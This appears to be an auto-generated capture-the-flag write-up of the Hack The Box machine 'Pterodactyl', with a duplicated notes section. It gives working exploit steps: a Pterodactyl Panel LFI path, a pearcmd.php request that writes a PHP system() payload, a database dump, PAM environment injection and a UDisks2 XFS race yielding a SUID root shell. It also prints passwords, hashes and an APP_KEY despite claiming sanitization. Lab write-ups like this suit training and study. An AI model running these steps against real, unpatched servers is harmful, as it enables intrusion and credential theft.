Pterodactyl -- HTB Medium Linux
Pterodactyl -- HTB Medium Linux is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator
Scenario
Pterodactyl -- HTB Medium Linux attack path
Pterodactyl -- HTB Medium Linux is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Scope and service discovery
Attack surface mapping
Initial foothold
Privilege escalation
Proof captured
Source coverage
High source coverage
Status: complete. This article is generated from 3 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
High confidence: the page is reconstructed from a primary walkthrough plus multiple supporting notes or evidence sources. Treat the chain as source-backed, while still checking the listed source files for sensitive values.
- <TARGET>-Pterodactyl/walkthrough.md
- HTB/<TARGET>-Pterodactyl/notes.md
- HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Pterodactyl__notes.md.db05a81231.md
Technical Walkthrough
Pterodactyl -- HTB Medium Linux Walkthrough
Machine Info
- Name: Pterodactyl
- OS: openSUSE Leap 15.6
- Difficulty: Medium
- IP: <TARGET>
- Creator: HeadMonitor
Attack Chain Summary
<secret redacted> (Pterodactyl Panel LFI -> RCE) -> DB dump -> bcrypt crack -> SSH -> <secret redacted> (PAM env injection) + <secret redacted> (UDisks2 XFS race) -> root
Phase 4: Foothold -- <secret redacted>
Step 1: LFI -- Config Extraction
The /locales/locale.json endpoint passes locale and namespace params to PHP include() without sanitization.
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/databaseExtracted DB credentials: pterodactyl:PteraPanel (database: panel, host: <TARGET>:3306)
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/appExtracted APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Step 2: RCE via pearcmd.php
Because register_argc_argv=On, query string params are interpreted as $argv by pearcmd.php. Using config-create writes a PHP config file containing our payload.
Write payload:
# Using http.client to send raw < > without URL encoding
path = '/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(hex2bin("HEX_CMD"))?>+/tmp/<secret redacted>php'Include and execute:
GET /locales/locale.json?locale=../../../../../../tmp&namespace=FILENAMEShell obtained as: wwwrun (uid=474, gid=477)
Step 3: Database Dump
Via RCE as wwwrun:
mariadb -h <TARGET> -u pterodactyl -p<redacted> panel -e "SELECT id,username,email,password,root_admin FROM users;"| User | Hash | Admin |
|---|---|---|
| headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | Yes |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | No |
Step 4: Hash Crack and SSH
phileasfogg3's bcrypt hash cracks to: !QAZ2wsx
ssh <email redacted> # Password: <redacted>
cat ~/user.txtUser flag: <hash redacted>
Phase 5: Privilege Escalation
Hint
/var/mail/phileasfogg3 contains a message from headmonitor about "unusual udisksd daemon activity."
<secret redacted>: PAM Environment Variable Injection
openSUSE Leap 15.6 has pam_env.so with user_readenv=1 (default on SUSE). Writing ~/.pam_environment allows injecting environment variables BEFORE pam_systemd.so runs.
echo -e 'XDG_SEAT=seat0\nXDG_VTNR=1' > ~/.pam_environmentAfter reconnecting SSH, systemd-logind grants allow_active Polkit privileges to the session. Verified:
loginctl show-session: Seat=seat0, Active=yes- Environment: XDG_SEAT=seat0, XDG_VTNR=1
<secret redacted>: UDisks2/libblockdev XFS Race Condition
Preparation (on Pwnbox with root):
- Copy target's
/usr/bin/bash(CRITICAL -- must use target's binary, not Pwnbox's, due to glibc/ABI mismatch) - Create 300MB XFS image:
dd if=/dev/zero of=xfs.img bs=1M count=300 && mkfs.xfs -f xfs.img - Mount and add SUID root bash:
mount -o loop,suid xfs.img /tmp/mnt && cp victim_bash /tmp/mnt/xpl && chmod u+s /tmp/mnt/xpl && chown root:root /tmp/mnt/xpl && umount /tmp/mnt - Transfer xfs.img to target /tmp/
Exploitation (on target as phileasfogg3):
- Setup loop device:
udisksctl loop-setup -f /tmp/xfs.img --no-user-interaction - Start racer: continuously scan
/proc/mountsfor XFS mounts without nosuid flag - Trigger D-Bus Resize:
busctl call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/block_devices/loop0 org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 314572800 0 - When libblockdev temporarily mounts XFS without nosuid for xfs_growfs, racer executes the SUID binary
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)Root flag: <hash redacted>
Key Lessons
- pearcmd.php abuse requires
register_argc_argv=On-- always check phpinfo when available - Raw HTTP required for pearcmd -- standard HTTP libraries URL-encode
< >which breaks PHP tags - XFS image must use target's bash -- glibc/ABI mismatch between Pwnbox (Parrot) and target (openSUSE) causes segfaults
- PAM env injection on SUSE --
user_readenv=1is default, making~/.pam_environmenta powerful privesc vector - UDisks2 race window -- the Resize D-Bus call is the reliable trigger for the nosuid-free mount
- mkfs.xfs default flags work fine -- the
-i exchange=0 -n parent=0flags are for newer mkfs.xfs versions only
CVEs Used
- <secret redacted> -- Pterodactyl Panel <=1.11.10 unauthenticated LFI -> RCE (CVSS 9.8)
- <secret redacted> -- PAM/Polkit active session bypass on openSUSE/SLES (CVSS 7.8)
- <secret redacted> -- UDisks2/libblockdev XFS race condition LPE (CVSS Critical)
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Scope
- Target: <TARGET>
- OS: openSUSE Leap 15.6 (Linux, kernel 6.4.0)
- Difficulty: Medium
- Pwnbox: profex0r@<TARGET>
- VPN IP: <TARGET>
- Started: 2026-05-08
- Completed: 2026-05-08
Flags
- User: <hash redacted>
- Root: <hash redacted>
Evidence Ledger
| Timestamp | Command | Output File | Finding | Next Action |
|---|---|---|---|---|
| Phase 0 | ping | - | Target reachable, TTL=63 (Linux) | Start nmap |
| Phase 1 | nmap -p<redacted> | nmap/allports | Ports 22, 80 open (443, 8080 closed) | Service scan |
| Phase 1 | nmap -sC -sV | nmap/svc | SSH OpenSSH 9.6, HTTP nginx/1.21.5 | Web enum |
| Phase 1 | curl headers | - | PHP/8.4.8, redirect to pterodactyl.htb | Check panel vhost |
| Phase 1 | curl panel | - | Pterodactyl Panel confirmed (Laravel/PHP) | Check changelog |
| Phase 1 | curl changelog.txt | - | Panel v1.11.10, PHP-PEAR enabled, MariaDB 11.8.3 | Check phpinfo |
| Phase 1 | curl phpinfo.php | - | register_argc_argv=On, open_basedir=none, PEAR in include_path | LFI attempt |
| Phase 1.5 | validation gate | - | 10+ anchors matched pre-research | Proceed with advisory chain |
| Phase 4 | <secret redacted> LFI | - | DB creds: pterodactyl:PteraPanel, APP_KEY extracted | RCE |
| Phase 4 | <secret redacted> RCE | - | pearcmd.php config-create -> shell as wwwrun (uid=474) | DB dump |
| Phase 4 | MariaDB dump | - | 2 users: headmonitor (admin), phileasfogg3 (bcrypt hashes) | Crack hashes |
| Phase 4 | SSH phileasfogg3 | - | Password !QAZ2wsx works, user.txt captured | Privesc |
| Phase 5 | /var/mail hint | - | udisksd unusual activity | <secret redacted>/6019 |
| Phase 5 | <secret redacted> | - | PAM env injection -> active Polkit session | XFS race |
| Phase 5 | <secret redacted> | - | XFS nosuid race via Resize D-Bus -> euid=0 root | Flag captured |
Credentials
| Service | Username | Password/Hash | Source |
|---|---|---|---|
| MariaDB | pterodactyl | PteraPanel | LFI config/database |
| SSH | phileasfogg3 | !QAZ2wsx | bcrypt crack from DB |
| Panel | headmonitor | $2y$10$3WJht... (uncracked) | DB dump |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY= | LFI config/app |
Pre-Research Validation
All core anchors matched. Advisory chain followed with live validation at every step.
Notes
Scope
- Target: <TARGET>
- OS: openSUSE Leap 15.6 (Linux, kernel 6.4.0)
- Difficulty: Medium
- Pwnbox: <<secret redacted>>@<TARGET>
- VPN IP: <TARGET>
- Started: 2026-05-08
- Completed: 2026-05-08
Flags
- User: <<secret redacted>>
- Root: <<secret redacted>>
Evidence Ledger
| Timestamp | Command | Output File | Finding | Next Action |
|---|---|---|---|---|
| Phase 0 | ping | - | Target reachable, TTL=63 (Linux) | Start nmap |
| Phase 1 | nmap -p<redacted> | nmap/allports | Ports 22, 80 open (443, 8080 closed) | Service scan |
| Phase 1 | nmap -sC -sV | nmap/svc | SSH OpenSSH 9.6, HTTP nginx/1.21.5 | Web enum |
| Phase 1 | curl headers | - | PHP/8.4.8, redirect to pterodactyl.htb | Check panel vhost |
| Phase 1 | curl panel | - | Pterodactyl Panel confirmed (Laravel/PHP) | Check changelog |
| Phase 1 | curl changelog.txt | - | Panel v1.11.10, PHP-PEAR enabled, MariaDB 11.8.3 | Check phpinfo |
| Phase 1 | curl phpinfo.php | - | register_argc_argv=On, open_basedir=none, PEAR in include_path | LFI attempt |
| Phase 1.5 | validation gate | - | 10+ anchors matched pre-research | Proceed with advisory chain |
| Phase 4 | <secret redacted> LFI | - | DB creds: pterodactyl:PteraPanel, APP_KEY extracted | RCE |
| Phase 4 | <secret redacted> RCE | - | pearcmd.php config-create -> shell as wwwrun (uid=474) | DB dump |
| Phase 4 | MariaDB dump | - | 2 users: headmonitor (admin), phileasfogg3 (bcrypt hashes) | Crack hashes |
| Phase 4 | SSH phileasfogg3 | - | Password !QAZ2wsx works, user.txt captured | Privesc |
| Phase 5 | /var/mail hint | - | udisksd unusual activity | <secret redacted>/6019 |
| Phase 5 | <secret redacted> | - | PAM env injection -> active Polkit session | XFS race |
| Phase 5 | <secret redacted> | - | XFS nosuid race via Resize D-Bus -> euid= <REDACTED> |
Credentials
| Service | Username | Password/Hash | Source |
|---|---|---|---|
| MariaDB | pterodactyl | PteraPanel | LFI config/database |
| SSH | phileasfogg3 | !QAZ2wsx | bcrypt crack from DB |
| Panel | headmonitor | $2y$10$3WJht... (uncracked) | DB dump |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY= | LFI config/app |
Pre-Research Validation
All core anchors matched. Advisory chain followed with live validation at every step.